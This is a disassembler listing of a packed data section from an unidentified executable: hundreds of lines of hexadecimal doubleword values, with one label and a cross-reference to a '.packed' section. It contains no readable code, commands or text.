dd 94BD09F9h, 4B4CD131h, 0F44B5C38h, 0CA6F14B5h, 85A64F2Ch
dd 0A760F95Bh, 0B17538D6h, 0BF24425Ah, 937A099h, 8B5A723Ah
dd 8820471Eh, 0B0A4210h, 8C53AD0Ah, 7FF743E9h, 59D157CBh
dd 1C9109CAh, 4E0ACEB1h, 4EA1B369h, 2CA2845Bh, 848B1451h
dd 9369AE6Ch, 32D6EFE8h, 5025992Ah, 404C6707h, 0E464F8EFh
dd 622D86A1h, 7D90923Fh, 7A2DF936h, 0F36992Eh, 24352DFBh
dd 7C533FF4h, 0AFFAD388h, 1E9C432Dh, 564D2082h, 0E958F7B3h
dd 5152086Dh, 21A46955h, 5EFCEA1h, 2C45FF10h, 99768C45h
dd 4B903533h, 0A5A93939h, 5F9FF430h, 0C84314A5h, 0B4AD78C0h
dd 4A105449h, 96A4C57h, 691B7028h, 935C0B4Ch, 48A62556h
dd 176A90DEh, 38AB5035h, 0A15A300Dh, 57C959F2h, 79F51B61h
dd 30F48F10h, 697A4D9h, 6317F11Ch, 0D5AF09Dh, 4D2492CBh
dd 0D4C7E74Ch, 6A99BAF0h, 8AE4245h, 21F6547Ah, 1952F570h
dd 3724EBAFh, 0A3F68A28h, 47C2C971h, 5C58A3AEh, 1AF614E5h
dd 0D29D0D90h, 9C001253h, 6C800C37h, 681E85F5h, 26A788A1h
dd 0A32E6CD1h, 19FCA2ACh, 93A2F3Dh, 77A0DC15h, 3824ABA4h
dd 4EA0F3C2h, 4642BD67h, 0AE2669CCh, 0BB5174A2h, 7F6202C1h
dd 0B5C488D6h, 1FE32F5Ah, 0BDF62D27h, 22F8FD6h, 56CFEB20h
dd 0A54926FEh, 6C21A41Dh, 16919180h, 0EF5B8584h, 5C235A8Ch
dd 0EBCB407h, 6A3A2BD4h, 0B8675850h, 8F0A068Ah, 5F69809Dh
dd 0A054DA02h, 1BCA4D25h, 0A63AFD75h, 7411D2C2h, 6CC1057h
dd 0B9AFD8F4h, 858A0649h, 25AE5E77h, 0E338492h, 3BFC0548h
dd 13AD2EDBh, 16D17876h, 363CDF7Ch, 0E8F675A5h, 1D12CA30h
dd 8B4BFC11h, 0E02F441Eh, 0F9FA459Eh, 997896D0h, 0E182E717h
dd 37EFD954h, 0E813A68Bh, 2F42DF9Fh, 21A61C1Ch, 7842E0FCh
dd 0B30218DFh, 0E0FC088Dh
dd 0E1082174h, 74DBA408h, 599FA825h, 1F5C7852h, 0B5CC5348h
dd 0F3171EE9h, 84DFEC6Bh, 25B69F90h, 89E96A2Ch, 0B675E2B4h
dd 21C865BAh, 96CEBF57h, 0AC85EF42h, 60CEBFE2h, 0B7E3CC12h
dd 62FC88E3h, 134EE454h, 26135868h, 52245045h, 6CC595ADh
dd 0FEDBEA9Fh, 0A1E4D0DEh, 0C10CE2ACh, 50846146h, 400E2EE4h
dd 1030FF92h, 4884E45Ch, 4B1B9AF1h, 31883D82h, 50D0411Ch
dd 0C4B33B9Fh, 2F9A82B1h, 23893A3Dh, 10C6ED2Eh, 168F2280h
dd 85CE2EFh, 77C63B09h, 9F2C7A22h, 0FC580229h, 0D8AFD19Eh
dd 0E985DA10h, 5C625C73h, 4BCB8922h, 3DB3B442h, 25098C10h
dd 0CB54D818h, 0CA040ABAh, 0CA65A99Eh, 75C90AACh, 43BDF896h
dd 74AD025Eh, 8D026A31h, 40C0AAFh, 8C4A15BEh, 74CF47AEh
dd 0CA30F437h, 9E8C1272h, 43400CCEh, 165889FEh, 8B10134Fh
dd 6B7AB840h, 2C37358h, 6468CBEBh, 0F5746890h, 9489E398h
dd 94F1321Ch, 1940292Ah, 6A867E02h, 56AFA905h, 575F2DEh
dd 0AB2C200Fh, 0B9D47FCh, 7FA2078Ah, 0BE0FAF23h, 0D8B281C4h
dd 8E2D7F9Dh, 16C4093Dh, 0D6762A03h, 9C7DFB25h, 8AABB614h
dd 0C861D2A6h, 4E4BB178h, 0FF8BF90Eh, 4EE7E331h, 4FB4A825h
dd 7828563Bh, 2F68FA24h, 1FF401F4h, 9D5625E8h, 752BF46Ch
dd 24641CF0h, 35B6B432h, 985089F8h, 5434E819h, 2B37A82Dh
dd 0F6988812h, 6EFEA7DFh, 1E9DD4C2h, 0F61E7525h, 2D854A5Ch
dd 0AC2185FAh, 3F628F9Dh, 410A844Ah, 7F8B8F2Fh, 8D075AA2h
dd 73830178h, 1CA20F20h, 8484CBAFh, 2B07F5BDh, 7DCACC7h
dd 99419E30h, 32562F05h, 0A4089C98h, 974A25F5h, 9D609540h
dd 9D347786h, 775AA0EDh, 0D03146CDh, 80504704h, 9D8D7259h
dd 0E6A573DBh, 51C3B954h, 0C2DBF24Bh, 237734ADh, 0FDA09D1Ch
dd 981C4C56h, 0B69CFC22h, 6D99EB93h, 88F77E57h, 9CDC22D8h
dd 78233FAEh, 29B8E4CDh, 925EE63Ah, 9B9262DDh, 0A559E79Ch
dd 3313CFA6h, 0A22BAFC0h, 70884442h, 621CB6FCh, 0EC75B4EBh
dd 69A49F51h, 950F4510h, 5FF1CAEEh, 50B4A6FCh, 0E99F15D1h
dd 173052CCh, 0D6BE9C4Ch, 0E12AC6CAh, 519F9886h, 0AE756535h
dd 0B51706C3h, 11FED4CDh, 6CFFF20Bh, 6C1CB403h, 0D448BA71h
dd 4FED4C8Dh, 5315B1ACh, 577C0E46h, 166CBE48h, 8B2428DAh
dd 901332F8h, 20A2F0E8h, 0B68CB22Fh, 7A79BF57h, 0B49C2042h
dd 17145697h, 799BF412h, 0C8D6417Ah, 4B130C9Bh, 5CF2B0EEh
dd 0B086917Ch, 0A743C444h, 4FDACC13h, 810E3899h, 39608C7Dh
dd 67E25772h, 2F9BA084h, 5F5274C8h, 489DE1E4h, 601584FEh
dd 1F385688h, 0D1AA1375h, 0E75FCF1Ah, 52D464EFh, 1EFFAD12h
dd 20AFFAECh, 7FC111DEh, 0CB725650h, 0F32CBF93h, 0F49B4254h
dd 8A349028h, 4F2C8EBAh, 682B1846h, 62CAA424h, 64109114h
dd 106C1430h, 0D857F1BFh, 84143D89h, 84D14CB8h, 0F5AA6A0Dh
dd 102C136h, 0DC72458Dh, 82FE5370h, 0BB82284Ah, 1014729Ch
dd 136A8E17h, 20B69FFCh, 70835495h, 46A4C3C9h, 25830440h
dd 3B70147Dh, 0E9E59BFh, 0D4EF0575h, 0E45E51Dh, 0FABE0C05h
dd 0F02B9991h, 10B94449h, 0EBFC8DE4h, 0CCB48F31h, 9F9FA33Ah
dd 8C2118E9h, 0C8FC02C9h, 766D75CDh, 7F28D23h, 5F001882h
dd 950B745Eh, 55A6E56h, 0A10653A0h, 0B615A42Dh, 0D6B40859h
dd 0E6D5FF0Fh, 901FC435h, 0DB332F8Ah, 0FD92DDD4h, 0A468AE46h
dd 0EB3C9033h, 84188E1h, 97B280A3h, 0F418781Bh, 0CFD86B9h
dd 58438CD8h, 0C8B8E810h, 62946444h, 18C4192Ch, 3C52861Ch
dd 94102134h, 0F8845B34h, 919022D5h, 0F40CDC0Dh, 1D3934A8h
dd 0DCEB7DA3h, 44741B10h, 3CE17D41h, 88D81090h, 0F0732034h
dd 0C410C82Ch, 5C102444h, 101C6878h, 14323C57h, 0C119010h
dd 4D1EC5E3h, 0AEC0413h, 5C70A06h, 94BC2994h, 0D5C46885h
dd 282CE536h, 13270CA3h, 2016A1Ch, 15EBD07Fh, 0A38DA4D1h
dd 2D0B2998h, 34C9B822h, 93291AC0h, 22018227h, 9C31D5A8h
dd 0AC30B24Ch, 2B9043BFh, 8015E6E0h, 1074230Dh, 2784CA70h
dd 0A4325C44h, 0C432AC33h, 280C3C31h, 0FBB8286h, 0F014AA56h
dd 0CF88E0E7h, 8408239Eh, 0B9A4C2BAh, 30E2C431h, 1087BA28h
dd 3228A29Ch, 94608788h, 0C886DA0h, 0A198A864h, 21D442F8h
dd 1F8AB470h, 52585422h, 44D92120h, 10A019A5h, 54649F1Dh
dd 0BEB1712h, 1AA02A72h, 0D4E86738h, 26A95599h, 0D884A890h
dd 0A5C862D4h, 0FF62445Eh, 880DA2B8h, 0CA419B9h, 94438CF8h
dd 4392AC75h, 0A4382188h, 460D2281h, 57867EB0h, 4411AC54h
dd 106421BAh, 8882828h, 84F82040h, 4C071841h, 83101086h
dd 4108C347h, 1A484210h, 541585A4h, 653CC8A2h, 246122B8h
dd 0B81C9019h, 6E4012F1h, 87907D4Fh, 14914523h, 0C86404C8h
dd 8D3F461h, 55CDACB0h, 31F20DE4h, 0A41C0CD4h, 29C04327h
dd 0AC100D20h, 4427CCCAh, 0B9943290h, 0BC08C886h, 8F0DB84Dh
dd 0FC9F11B0h, 0B91C1146h, 0CCE22088h, 4E9431B8h, 0D38084AEh
dd 0B435FDCAh, 0A8CE3C4Fh, 45288E86h, 28CE4A74h, 49E311BBh
dd 32344439h, 0EA1BC099h, 180DA240h, 0C3019BAh, 1C438C20h
dd 0E86DDC26h, 0DAF8950Dh, 0A4640488h, 84D27ADCh, 2A341C52h
dd 905D0DE8h, 0B9C0C401h, 20B1304Eh, 0BA182249h, 0A3204140h
dd 5910FC08h, 10316878h, 292C3C54h, 0AF4DBC09h, 61BA1C84h
dd 0C80AB890h, 71AC64B0h, 0D4622D8Bh, 0D2297458h, 2A5C2E7h
dd 31D2D022h, 448C4CC4h, 0B454C0ACh, 0A6AC780Dh, 0E421A443h
dd 0D98AABEh, 8821C046h, 88348094h, 0DF46E7Ch, 2C647488h
dd 5462E867h, 0C6019BAh, 54438C70h, 0C8B97C10h, 0BA606248h
dd 140C4019h, 1038438Ch, 30C8B9D4h, 2862D064h, 94180419h
dd 0FC2BB242h, 0CA20109Ch, 18444124h, 0D913832h, 0ABEC0C0Ch
dd 51ACBB34h, 45CA20Fh, 70D142FCh, 0F45427A4h, 5BA4BC0Dh
dd 8486EC7Dh, 77E0430Dh, 0D44327A4h, 0C810B423h, 0B8C478C8h
dd 0D91E832h, 43580CA8h, 889C21BAh, 9064B98Ch, 0E0C52832h
dd 0F66D453Ch, 41119F50h, 78229501h, 8805210Ch, 0F947B8E4h
dd 0B9804208h, 680CED11h, 21E14386h, 0CAD5902Ch, 0C9953C54h
dd 9070210Ch, 247CCABDh, 60C8B190h, 1432A564h, 0D40C9919h
dd 2A8D4386h, 81430CD0h, 74310422h, 0BA241079h, 38047112h
dd 0EC026922h, 86124B9h, 1C5944ACh, 5120BA11h, 0CFD1BC4Dh
dd 688811FCh, 7873B4E4h, 0C4E863C4h, 8C385862h, 0B86485B9h
dd 6838B432h, 0CBD14C84h, 5C84F4E3h, 4C8FD151h, 0C5108810h
dd 980D4438h, 182432B8h, 4386B99Ch, 38482310h, 8A82343h
dd 6C44D0ECh, 0B51BD862h, 0AEC44122h, 0B088B10Dh, 0BF9DE065h
dd 0D8B7001h, 8A33541h, 8040C448h, 3889B898h, 0F07110A0h
dd 4810C930h, 0A843B84Ch, 21CB3B17h, 18B8D8C5h, 0E0788ED0h
dd 0D8BC1187h, 0D2533155h, 0E5E21803h, 0CCBAD1FFh, 4EB98422h
dd 0C0C4281Dh, 282F8C86h, 981F1D89h, 20D0489Eh, 0F53D74A1h
dd 1C4CF678h, 5CB44CF3h, 0DC8CF9Eh, 81988C93h, 0ECB9445Ch
dd 8CC2FF96h, 0C89015BAh, 4850C4C8h, 0F61487D0h, 633C2911h
dd 0C8CB3090h, 0D24873Ah, 190C62A0h, 0F87D4818h, 0A47BCF42h
dd 10E8430Dh, 0DCC8BA64h, 881A146Eh, 9DAC64D0h, 9C0D127Fh
dd 340CB431h, 9C4327A4h, 10412C29h, 6EE4C98Ch, 8B8444Ch
dd 45D12FBh, 55522A0h, 4D100818h, 343C8021h, 7B141045h
dd 76106827h, 1035343Ch
dd 2D1A711Eh, 0D6C0F10h, 67071025h, 910DA8Fh, 0FAE35F62h
dd 4D68BA4Ah, 0CC4286D0h, 29CF8084h, 0DFDFEF47h, 48C51864h
dd 0B8F09631h, 0CC11E219h, 0D8E2E532h, 290AD419h, 51CE4A38h
dd 506214C8h, 88C733BAh, 6485FDBDh, 14DC32E0h, 528F0C43h
dd 8FCE91BDh, 7C8810E4h, 0DCCAA6Fh, 0B4887491h, 64323C65h
dd 670C117Ch, 528E74A3h, 0E8A2743Ch, 140AE419h, 0F2BECEA8h
dd 88749998h, 9E93400Ch, 488978BCh, 0F0884A4Ah, 7C28EC64h
dd 0FDFD3D87h, 5686581Ch, 4821B110h, 32D95C92h, 0B9980D11h
dd 4686280Ch, 94182150h, 78DB7EF0h, 8B60FD2Eh, 0C4D85CE7h
dd 0C4507398h, 1017F062h, 51F4C8F8h, 11E85A08h, 0D48FCDF0h
dd 0EF248810h, 5C048810h, 4784BBE0h, 42EA4AFCh, 0C35B5D48h
dd 5351A254h, 560CF1E7h, 357E0B2Bh, 0F457A1C9h, 741F107Dh
dd 2B2FFF2Ch, 1203E6B3h, 0E8D83468h, 1216E476h, 752B45FBh
dd 0B428EA08h, 739C5135h, 0E2A06990h, 0A444151Ch, 0E11CA872h
dd 39ACA20Ah, 0E8110EB0h, 8EB4FCD7h, 0D088B843h, 0C8BC1155h
dd 0AB471C0h, 0C8E448A7h, 51859C38h, 87D01CCCh, 23AA8010h
dd 0E7D890D4h, 0DC115518h, 0CC73E0C8h, 0E4E4882Ah, 853438E8h
dd 0F01CEC51h, 0AA181087h, 0F890F423h, 115508E7h, 0BB10DCFCh
dd 1ED6E4B1h, 61DE26D0h, 14753960h, 15D1E359h, 14882D4Bh
dd 0C9BCFCCBh, 0F073EB5Dh, 0B5042474h, 75299494h, 58110F19h
dd 0ABBFC75Bh, 0C303855Fh, 49B64ACh, 200D1025h, 85C03374h
dd 2740BC9h, 6331D1FFh, 5622C288h, 5B77C057h, 0F845128Dh
dd 4CE9A933h, 7D891E6Ch, 0FC5D9BB9h, 8B41E488h, 7FCF2BC8h
dd 4D864DB1h, 1232E983h, 480C8743h, 6E0A2374h, 24BD17EAh
dd 6807FF27h, 17591BD8h, 6347EBC2h, 5F217790h, 2980C632h
dd 11B5AE30h, 5B57F08Bh, 10CAD856h, 74F73B0Dh, 0D494D912h
dd 3B836256h, 0EB9874C7h, 846868B5h, 452F4F69h, 200EA118h
dd 0EDFC578Dh, 5BAA4240h, 61D3C491h, 405468F7h, 3E39CC66h
dd 8DE67605h, 0BB8045Eh, 479B4C30h, 1801C383h, 0F1723E3Bh
dd 0DE57D2EBh, 561445CEh, 640CD6ABh, 0E9A7A983h, 0BF006577h
dd 0CC4B1252h, 0DCB4783Fh, 0F39FB69Fh, 0BB04BE85h, 59F20A4Fh
dd 0F008F10Bh, 0D9B5619Dh, 0DB40113Ah, 0C68B18C1h, 76F0BF5Eh
dd 0E39D6190h, 1FEF8D4h, 0E1D7B7Eh, 0E9D157CEh, 0DAF7C3BCh
dd 2E20348Dh, 0B70F0354h, 42C7033Ah, 0F6754988h, 4EB5F18h
dd 0F2850823h, 574305Eh, 0C1030A94h, 255E4990h, 0E9E0BDA5h
dd 0E7EBF910h, 0EE8EDEFh, 0CBD0F7ECh, 5BDE579Ah, 8FD0B756h
dd 44048F38h, 0A47C608Bh, 9C9534FFh, 2E7483AAh, 571C6A41h
dd 152F253Bh, 694847A2h, 80C09827h, 33A8267Eh, 0E4BD0A6Ah
dd 0FE19582h, 49274AB8h, 3B46152Dh, 0DA7C0426h, 3484C78Bh
dd 0BD976D6Dh, 0ED05BF10h, 5E2B9138h, 0CC9D53B2h, 8B036A00h
dd 0D214245Ch, 825A1B7Eh, 54EDF2D3h, 7E121430h, 2BCBFB16h
dd 2A00EE4Bh, 3B471F14h, 0EA7C3DFEh, 127024BCh, 0FEC38B5Fh
dd 0E251A7C8h, 0FC653883h, 0C7C7AA64h, 0AB01052Ch, 5926B29Bh
dd 0F4BE8340h, 0C8844315h, 2FCFC844h, 0F05CA0Fh, 0D8416A0Bh
dd 3B5A0017h, 890375C1h, 83F8FC55h, 7C5BF901h, 59616AF3h
dd 7B20104Ah, 87D8B0Ah, 0CD1EA56h, 0F9ECE41Ah, 0C5C0A92h
dd 9406FAF0h, 0CDF97EF4h, 8227007h, 0CC45AEA4h, 0BE2DDBB4h
dd 529C4B10h, 984FAA5Fh, 2AE1946Eh, 0B56C27C8h, 64F5D112h
dd 0DC7553Bh, 45E81806h, 2D941AD0h, 5CB0E483h, 47324B04h
dd 1E2E7414h, 7C121E59h, 0C0F50112h, 82162078h, 0F9020E11h
dd 111CF963h, 27485CEBh, 7750A0Ah, 111018BEh, 755A804Ch
dd 8414BE3Eh, 0A513C52h, 502E7505h, 841052CCh, 1322346h
dd 13110C21h, 8FC0218h, 0D8B21DDEh, 427A2A04h, 0A45FC68h
dd 1C7FA07Eh, 0E051BD56h, 265C024Eh, 0E0820905h, 67853068h
dd 649A80F0h, 3ACB2B76h, 0D1AF1E0h, 7292CB8h, 2B1279EEh
dd 24682E40h, 34931DD4h, 39FEB8E4h, 0DA2B0BA3h, 0A188C54Bh
dd 77E0270Bh, 20DF883h, 7A1F765Eh, 0BB5B25ADh, 4EC0BB0Ah
dd 5A047449h, 0EE4525C1h, 1F42A39Ah, 5789F542h, 1E51BC8Bh
dd 8D157401h, 4DBDF446h, 86D9ED5Bh, 59C1B59h, 8B0AEB40h
dd 3B49C10Eh, 9437704Dh, 75FE9FFDh, 14C68300h, 61FE8147h
dd 0CB7267A8h, 0A70EFBEBh, 0C3BF048Dh, 62208514h, 107DF623h
dd 4649E1D4h, 0E19D060Ah, 0D3C35D59h, 221636EBh, 17534DB8h
dd 0BF914821h, 916A639Fh, 4244C11h, 755B0662h, 504C1846h
dd 3158A20Dh, 19FA19BFh, 5B18FA62h, 279D5139h, 94F9D347h
dd 0BF18FF0Ch, 0A24C1085h, 0ABF3150h, 0BF105023h, 0F21350A2h
dd 80BA1B84h, 0B5BB8D24h, 2D246F0Dh, 0D27FE2BAh, 457C3D08h
dd 4C1E317Bh, 28C83798h, 74401EE0h, 5D478478h, 8FFD743Eh
dd 3F887010h, 212A6CE4h, 0C8211168h, 60BE7064h, 487D19D0h
dd 9A5C22A5h, 4D8306AFh, 0A50FFFCh, 8DFF875h, 7C69DD3Ch
dd 689D2E96h, 0DF6A3BB2h, 0FC4C1CEh, 20AEE3BCh, 0C33B145Ch
dd 3C157D32h, 0E83BA34Ch, 0DF340953h, 0ADD40112h, 8024EB89h
dd 0D7D642Ch, 284D668Dh, 0C6202A51h, 0BED8B7B2h, 21264857h
dd 7C0C97B9h, 535DDC40h, 9059E63Fh, 832FD6B3h, 0C82208F6h
dd 4F3B9B38h, 6125C871h, 67CB8B99h, 12DBA23Ah, 564F3558h
dd 66AF1E12h, 0EE97128Eh, 84F6C2ABh, 2A6BC146h, 78515EC2h
dd 923EE62Dh, 1CA10566h, 0AA0C453Bh, 13E92D10h, 0A8090476h
dd 0D6E244C9h, 29DAE632h, 0BCBB3D14h, 85D80F8h, 448DED6Ah
dd 0A3120A37h, 8FE1171Ch, 3D0A0147h, 44F8BE08h, 6A025835h
dd 68C72B74h, 53BDA1B8h, 21B14BA3h, 4720BD6Bh, 0BB74F5D6h
dd 901AD966h, 146AF8F7h, 342C6805h, 131E0415h, 14D7058Ch
dd 30210AEh, 68106AF7h, 31229E31h, 104A44C4h, 5121B457h
dd 0A0382573h, 4B4168F3h, 6A20F317h, 1865A222h, 82B24A7h
dd 0DCD622FBh, 98A2095Fh, 4BEF8028h, 8E5060C3h, 0E6E91461h
dd 0F2F4168Eh, 3D0777C2h, 0F684AC72h, 5645EB15h, 56C621Ah
dd 79B0D701h, 708AB5AEh, 195353D2h, 20A6606Ah, 0E3C6909h
dd 3E35BBD7h, 1948B392h, 58B0264Eh, 0B7C2448h, 275B5F5Eh
dd 4A04CB0h, 875C984h, 0FFB84101h, 81C13B8Bh, 2E08303h
dd 315A9CFh, 507746EAh, 330A8480h, 0D0D1274h, 5C270CB2h
dd 35306C4h, 45FF0356h, 45BE56E1h, 7616A032h, 0F8D41D51h
dd 833E8C1h, 0A60C543Ch, 4C10DB50h, 0A5B0A64Bh, 0C92CD281h
dd 0DB44A124h, 0B62AC5A1h, 0CA3BC785h, 0A30065A2h, 144D8BB7h
dd 1D278A53h, 33E68218h, 804A54D2h, 1C76C985h, 3A19048Ah
dd 0A9BC332h, 0A20C0D12h, 60FEE875h, 3B423EC3h, 0E47472D1h
dd 2E88CE2Ah, 6A227702h, 4AA06815h, 88DC21C2h, 13B3AD0Dh
dd 9DFCB130h, 8DD22ECBh, 0A05AC315h, 0A4886817h, 89660A22h
dd 9123960Dh, 8217A29Bh, 84395984h, 37C276A6h, 34D7E055h
dd 0C8A0311h, 88CB3238h, 404006A9h, 0F27214ABh, 21A2A992h
dd 32E2D9E2h, 808E10FDh, 2529B838h, 0C172050Fh, 5D3D4727h
dd 0EE7CB300h, 50904BEBh, 74A8F74Fh, 9275ACD3h, 868DBE21h
dd 0C9C858A6h, 4406FC76h, 64CF1C24h, 1EE92689h, 0D14A64Dh
dd 0C82978C3h, 304C1816h, 0F580891Ch, 0B25E0828h, 9138B90Ch
dd 22FE4B98h, 621B2638h, 0A5F302B6h, 0C764C48Fh, 7B3AA580h
dd 6C2F2EB3h, 0BDB89FE4h
dd 2A1FB551h, 3177E6D3h, 0A611EC1Eh, 6A6164D6h, 0D445ACB2h
dd 292A6621h, 569FA7B2h, 892969C9h, 0BC67112Bh, 0DF110825h
dd 3C093E64h, 9751668h, 46CBEECh, 0D72D1265h, 2A06996Ah
dd 4A7B7B9h, 81022FEh, 81247048h, 0DD1CC648h, 1D32FED2h
dd 2D1472B0h, 98A15553h, 0C8DB3310h, 0F31A3BEDh, 0FC36797Eh
dd 717D8998h, 84D73332h, 44BAB6BAh, 0BABE8D1Ah, 1839392Ch
dd 0C403741Fh, 91EF895Dh, 2A78182Ah, 4406109Eh, 75A8B14h
dd 0EC92CFA8h, 2221D069h, 0E788401Ch, 422806A1h, 185D3742h
dd 50B68D99h, 0FC1F3520h, 0F410A436h, 8B5F121Eh, 2FBEE5C5h
dd 0EE4321F9h, 84E5F8D2h, 8BA4F5A4h, 0BE435701h, 0F145E08Bh
dd 0EA95FA7h, 0F00C9805h, 88A6BE7Dh, 1F984678h, 1A750803h
dd 0B17EFF85h, 0F3F3E39h, 0E85DF14h, 0D2497453h, 4B91FC19h
dd 0B9140143h, 486ACF12h, 6C90EE66h, 0FCCE49FFh, 54583B11h
dd 0A714C73h, 27C18140h, 10F9143Bh, 3FE93626h, 22D252D2h
dd 5C3B3117h, 2111D415h, 0C522428Ah, 0C2AC835Eh, 0B683BCA4h
dd 13BA9060h, 0EC097424h, 1E95B4Ah, 0E6F4A7DEh, 4C085C2h
dd 0B528AA1Dh, 8B69951Ch
dword_4E414C dd 7FF621A8h, 68EBB72Ch, 0CC1F2D1Ah, 93879038h, 1A013110h
; DATA XREF: .packed:off_43ACE4o
dd 0E547C26Ah, 0A7E9EDEBh, 0E662B75h, 0D7ECF28Fh, 898889C4h
dd 100C90C8h, 186414C8h, 20191C32h, 3792BF17h, 0C449C8B0h
dd 0B6A5E78Fh, 0E8A5DE0h, 742583B8h, 0FDDEF85Ah, 0C3F28B9h
dd 0D23F123Fh, 0F9804C07h, 0A2E562Ah, 7A783F5Dh, 0EF0A5B68h
dd 0E2CA3A09h, 575F8992h, 0A8D9786h, 74504620h, 99895308h
dd 8DA9A71Ah, 13EB0183h, 88173145h, 6341A829h, 4712464Eh
dd 0EE0FA0EBh, 5F0BCA2Ah, 28101D15h, 12340BF0h, 0D3D75C8Bh
dd 0BD70AF4h, 854605D5h, 90C802EBh, 6BE5B627h, 0F7AD1029h
dd 210AF02Ah, 58F87D07h, 0A16B3980h, 410675B9h, 4CF90CBEh
dd 2C60110Ah, 0FB80198Ah, 396C5D66h, 94C4C2Dh, 1C3D6779h
dd 8A2CE12Dh, 711C6041h, 0FF49D8E7h, 7DC83A00h, 745D3C1Fh
dd 0C939771Bh, 2AD8163Eh, 0F08AE9E7h, 7AB0D93Ah, 7F30D8E8h
dd 3289A813h, 0CEB375Fh, 3A023EFBh, 0EE6B7518h, 7D02FFF1h
dd 32824254h, 63F8A2A6h, 97D24A2Bh, 3BF943E0h, 51CEC4E6h
dd 1B4917FFh, 298CBAC9h, 5D8D12D6h, 0FF999AF9h, 18610E54h
dd 438A020h, 8A1C7418h, 0A2D8809h, 10EB0682h, 40B4C215h
dd 20900789h, 0E2EDE0EBh, 42EEA8Ch, 0F5D01EDEh, 3A088A07h
dd 8019C7CBh, 741A3816h, 6F994B96h, 4EBF0B1Dh, 0C4051924h
dd 36F18260h, 7DB4165Dh, 62076C3Ch, 106A8A3Ah, 741E7FBCh
dd 124C8A24h, 0C605F2D3h, 34E8EBB9h, 3011F1CAh, 593F4ECBh
dd 0AE692905h, 0C4514DD8h, 0B40DD920h, 0A7BE0CF8h, 0A40C4C4Bh
dd 53A528AEh, 944162B9h, 1204431Bh, 4A6AE3CAh, 0BE943EFCh
dd 40E8BF26h, 0BE564574h, 16B218E0h, 76910650h, 0D8032F12h
dd 0DA46E207h, 61995E49h, 321B8868h, 8F1190BBh, 0A038B357h
dd 1CC04FBBh, 40C6CE8Eh, 84F87EC4h, 0EF39C5E0h, 5329EC9Ah
dd 0ED749140h, 0DAF40633h, 34C66203h, 9CCF895Fh, 0E0A11695h
dd 0DC6FF4E4h, 72560DCAh, 1348D41h, 23B4754Dh, 0CA54673Dh
dd 0B4680A24h, 6D155A81h, 965E30E2h, 0A3D28D6Ch, 0E7180856h
dd 2AFEFC90h, 0B8705528h, 35AE104Eh, 0F89322D1h, 0E51C4822h
dd 253D9219h, 8923291h, 0DA35D02Fh, 0F6890A21h, 0F05932D5h
dd 82D3824h, 49FB5711h, 458A5D45h, 7E8D2187h, 0CA8A201Eh
dd 913F218Fh, 0C604ED28h, 0C62E0E24h, 30C2F821h, 271C4E5Fh
dd 401203F0h, 4B934074h, 8D0989ACh, 0C6D7CCBDh, 6D284779h
dd 71A72470h, 0D6959E46h, 39F80AB0h, 0D57869E0h, 0CEA06D3h
dd 0BB4B1858h, 0C38B11A0h, 69E4D6CEh, 3833D930h, 0FE4BB312h
dd 8CEFD534h, 330AFFDCh, 49D8738Dh, 0A13086Ah, 68168CBBh
dd 0CAC89852h, 784C1257h, 0DC39CAECh, 0AEF7BD70h, 0FC1021B7h
dd 45672CC5h, 567B1477h, 0F6A47111h, 0F215625h, 207DBD80h
dd 29787E55h, 511F10D6h, 5D240ED9h, 0DCF10033h, 0B2DB8959h
dd 0EC143221h, 0F019C012h, 89C42790h, 0BC160703h, 0B01C3208h
dd 6AE818A1h, 0B416902Fh, 0B5AA08CCh, 0FB0236AAh, 2846B885h
dd 41453F8h, 4A2EC481h, 2233CA0Dh, 0C3834484h, 39098140h
dd 0EFF8423Bh, 0FC524966h, 0C8F2D0B1h, 28B77F64h, 0F9C6057Fh
dd 2C4544AAh, 48A5F357h, 0B6AB1D1h, 2DFF8A6Bh, 0FF528027h
dd 0B420C534h, 487625E8h, 24FE8253h, 4E94CEE8h, 9913D5C2h
dd 380BC816h, 0BBF3CC59h, 0E22C1826h, 85220204h, 0EA29FF38h
dd 564AA7F0h, 0C1D320EEh, 89B806E0h, 5D98393Dh, 0A7226475h
dd 2CCAAE52h, 0D24C0550h, 0D190AE65h, 7DDCBE57h, 0C87EE1DBh
dd 530C5640h, 18DDECA3h, 0E81D3489h, 12B2AB0Dh, 0B408BF13h
dd 3BD603C2h, 0DC2004EEh, 10A0254Ch, 255B9985h, 0E8490BDEh
dd 0D9D8A3E5h, 11402883h, 70F47F6Ah, 3CA1BFDEh, 7B18458Dh
dd 0A6DDCFF0h, 0C757C131h, 6FDE7405h, 1AEB8531h, 3711C444h
dd 82EAA620h, 0FC876820h, 2100B9FDh, 0B45D2588h, 9DFC471Ah
dd 5445E45Ah, 68538A3Dh, 0B45D257Fh, 1D0D5117h, 818D8A7Ah
dd 4CDE781Dh, 5CA117C2h, 1E086804h, 2969938Fh, 0A15112DEh
dd 0BE1A4B69h, 0D2767B84h, 9488282Bh, 689047E0h, 8823B852h
dd 80E287DFh, 5F7C14DEh, 18E11835h, 0C4242915h, 1C68E098h
dd 64A7E142h, 431C68E0h, 0E094C4E1h, 431DD442h, 8404433Eh
dd 8028E08Ch, 21AADE44h, 8CE240F3h, 20081DE0h, 0A021F4E1h
dd 3659F91Dh, 0EFA95F7Eh, 99390604h, 1273CC0Ch, 87070144h
dd 4A22FC1Ch, 14D91510h, 22DB44C4h, 38692F18h, 0E4834296h
dd 0A33A19B6h, 0F324C8C8h, 0CC68EC48h, 48840AFDh, 200569DBh
dd 475D1D10h, 237024B5h, 8E074256h, 0DB3CA418h, 11F53828h
dd 101AF108h, 0D0E8DB3Ch, 38A2DB47h, 0A696A63Fh, 0CF081094h
dd 321F113h, 0BE2178CFh, 8EE358B4h, 6A5B98B4h, 0FB975C7Ah
dd 7E562553h, 18880204h, 1299A5AEh, 0A303E4E7h, 230B53B8h
dd 0DAE12C10h, 0C051B2EAh, 0DF28A33Fh, 408D4A25h, 800E2849h
dd 760D8928h, 4413A1C4h, 1A225013h, 0DF5197C8h, 0A7AEFC44h
dd 0F3FCC813h, 22E4C0A9h, 4A599028h, 0D1068BFh, 0E8283AD4h
dd 0A2E447D4h, 0B2A73504h, 0A43C5459h, 8D8D12CDh, 1B4BDF3Eh
dd 0B70C9C9Ch, 0A55D5A92h, 0C80D4089h, 962E1745h, 49D21341h
dd 9EE6FD52h, 0B3510635h, 10E47906h, 333D769Fh, 0F49B896Bh
dd 41F80620h, 5F332FFCh, 590FE983h, 7188222Fh, 2031D17Dh
dd 93199DDFh, 9B346FF4h, 0BCC478F8h, 76394DE3h, 0C2B20D11h
dd 1A64D2BDh, 4EA2DF8h, 58EA2DFCh, 0B7095ACh, 410F0555h
